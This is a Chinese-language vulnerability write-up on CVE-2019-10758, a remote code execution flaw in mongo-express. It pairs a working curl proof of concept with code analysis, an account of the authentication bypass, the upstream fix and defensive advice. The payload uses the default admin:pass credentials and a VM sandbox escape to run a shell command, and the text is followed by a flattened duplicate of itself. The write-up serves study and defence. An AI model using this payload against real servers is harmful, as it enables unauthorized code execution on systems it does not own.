CVE-2019-10758:mongo-expressRCE复现分析
字数 1248 2025-08-26 22:11:51

MongoDB-Express RCE漏洞(CVE-2019-10758)分析与复现指南

漏洞概述

CVE-2019-10758是MongoDB-Express(一个基于Web的MongoDB管理界面)中的一个远程代码执行漏洞,影响版本为0.54.0之前的所有版本。该漏洞允许攻击者通过精心构造的请求在服务器上执行任意代码。

漏洞环境搭建

方法一:本地搭建

  1. 从官方仓库克隆mongo-express:
    git clone https://github.com/mongo-express/mongo-express.git
    
  2. 安装依赖:
    npm install
    
  3. 启动未授权的MongoDB服务端

方法二:使用Docker

docker run -it --network host mongo-express

漏洞复现

基本POC

curl 'http://localhost:8081/checkValid' \
-H 'Authorization: Basic YWRtaW46cGFzcw==' \
--data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

解释说明

  • Authorization: Basic YWRtaW46cGFzcw==:默认凭证(admin:pass)的Base64编码
  • document参数:包含恶意JavaScript代码,通过原型链污染和VM逃逸执行系统命令

漏洞分析

漏洞触发点

  1. 路由/checkValid对应的方法在lib/routes/document.js
  2. 该方法调用了toBSON函数处理输入
  3. toBSON函数将输入放入VM沙箱中执行

关键代码分析

// lib/routes/document.js
exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();
  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\("([^"]*)",/g, 'Binary(new Buffer("$1", "base64"),');
  vm.runInNewContext('doc = eval((' + string + '))', sandbox);
  return sandbox.doc;
};

漏洞原理

  1. 攻击者通过this.constructor.constructor访问到Function构造函数
  2. 绕过VM沙箱限制,获取Node.js的process对象
  3. 通过require加载child_process模块执行系统命令

认证机制分析

认证流程

  1. 启动参数决定认证方式:

    • 使用-u-p参数:config.useBasicAuth = false
    • 不使用参数:config.useBasicAuth = true(默认)
  2. 认证中间件(basic-auth-connect)会检查请求头中的Authorization字段

未授权场景

当以CLI形式启动服务并指定数据库用户名密码时(-u-p参数),认证中间件不会被加载,攻击者可以直接利用漏洞而无需提供认证信息。

修复方案

官方在0.54.0版本中:

  1. 移除了bson.js中的vm依赖
  2. 改用mongo-query-parser进行解析

修复commit: https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2

防御建议

  1. 立即升级到最新版本的mongo-express
  2. 不要将mongo-express暴露在公网上
  3. 使用强密码并启用认证
  4. 考虑使用环境变量而非命令行参数配置敏感信息

扩展知识

VM逃逸技术

该漏洞利用了Node.js VM模块的沙箱逃逸技术。VM模块虽然提供了隔离的执行环境,但通过原型链污染仍可能逃逸出沙箱。

其他潜在攻击点

文档中提到另一个需要验证数据库和表名的BSON注入点,虽然利用条件更严格,但在存在local库和start_log集合的情况下仍可能被利用。

MongoDB-Express RCE漏洞(CVE-2019-10758)分析与复现指南 漏洞概述 CVE-2019-10758是MongoDB-Express(一个基于Web的MongoDB管理界面)中的一个远程代码执行漏洞,影响版本为0.54.0之前的所有版本。该漏洞允许攻击者通过精心构造的请求在服务器上执行任意代码。 漏洞环境搭建 方法一:本地搭建 从官方仓库克隆mongo-express: 安装依赖: 启动未授权的MongoDB服务端 方法二:使用Docker 漏洞复现 基本POC 解释说明 Authorization: Basic YWRtaW46cGFzcw== :默认凭证(admin:pass)的Base64编码 document 参数:包含恶意JavaScript代码,通过原型链污染和VM逃逸执行系统命令 漏洞分析 漏洞触发点 路由 /checkValid 对应的方法在 lib/routes/document.js 中 该方法调用了 toBSON 函数处理输入 toBSON 函数将输入放入VM沙箱中执行 关键代码分析 漏洞原理 攻击者通过 this.constructor.constructor 访问到 Function 构造函数 绕过VM沙箱限制,获取Node.js的 process 对象 通过 require 加载 child_process 模块执行系统命令 认证机制分析 认证流程 启动参数决定认证方式: 使用 -u 和 -p 参数: config.useBasicAuth = false 不使用参数: config.useBasicAuth = true (默认) 认证中间件( basic-auth-connect )会检查请求头中的 Authorization 字段 未授权场景 当以CLI形式启动服务并指定数据库用户名密码时( -u 和 -p 参数),认证中间件不会被加载,攻击者可以直接利用漏洞而无需提供认证信息。 修复方案 官方在0.54.0版本中: 移除了 bson.js 中的 vm 依赖 改用 mongo-query-parser 进行解析 修复commit: https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2 防御建议 立即升级到最新版本的mongo-express 不要将mongo-express暴露在公网上 使用强密码并启用认证 考虑使用环境变量而非命令行参数配置敏感信息 扩展知识 VM逃逸技术 该漏洞利用了Node.js VM模块的沙箱逃逸技术。VM模块虽然提供了隔离的执行环境,但通过原型链污染仍可能逃逸出沙箱。 其他潜在攻击点 文档中提到另一个需要验证数据库和表名的BSON注入点,虽然利用条件更严格,但在存在 local 库和 start_log 集合的情况下仍可能被利用。